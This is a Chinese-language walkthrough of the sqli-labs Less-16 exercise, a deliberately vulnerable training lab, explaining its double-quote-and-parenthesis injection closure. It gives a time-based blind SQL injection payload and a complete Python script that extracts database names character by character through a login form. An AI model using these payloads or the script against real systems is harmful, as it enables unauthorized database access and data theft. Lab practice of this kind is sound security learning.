Less-16

1.png

这道题目显示说是双引号盲注, 但是实际上却是双引号括号这种的形式, 有点小小的坑人o(▼皿▼メ;)o

失败
成功

感觉这种or 1=1#形式真的比or sleep(5)#判断哪种闭合好用, 毕竟1=1这种成功的话会直接返回一个登陆成功的提示, 而sleep的话还要根据时间来判断, 但是时间又会受到网络波动的影响

payload:") or if(length(database())=8,1,sleep(5))#

其他的同Less-15, 就是单引号变成双引号括号这种形式

这里放一个来自这里的脚本源码

#!/usr/bin/env python
# encoding:utf8

import requests
import time
import sys

# config-start
sleep_time = 5
error_time = 1
# config-end

def getPayload(indexOfResult, indexOfChar, mid):
    # admin' or ()-- 
    column_name="schema_name"
    table_name="schemata"
    database_name="information_schema"
    payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + "  limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")"
    payload = {"uname":"\") or (" + payload + ")-- ","passwd":"admin"}
    return payload

def exce(indexOfResult,indexOfChar,mid):
    # content-start
    url = "http://192.168.88.130/sqllab/Less-16/"
    postData = getPayload(indexOfResult,indexOfChar,mid)
    content = requests.post(url, data=postData).text
    # content-end
    # judge-start
    if "flag.jpg" in content:
        return True
    else:
        return False
    # judge-end

def doubleSearch(indexOfResult,indexOfChar,left_number, right_number):
    while left_number < right_number:
        mid = int((left_number + right_number) / 2)
        if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
            left_number = mid
        else:
            right_number = mid
        if left_number == right_number - 1:
            if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
                mid += 1
                break
            else:
                break
    return chr(mid)

def search():
    for i in range(32): # 需要遍历的查询结果的数量
        counter = 0
        for j in range(32): # 结果的长度
            counter += 1
            temp = doubleSearch(i, j, 0, 128) # 从255开始查询
            if ord(temp) == 1: # 当为1的时候说明已经查询结束
                break
            sys.stdout.write(temp)
            sys.stdout.flush()
        if counter == 1: # 当结果集的所有行都被遍历后退出
            break
        sys.stdout.write("\r\n")
        sys.stdout.flush()

search()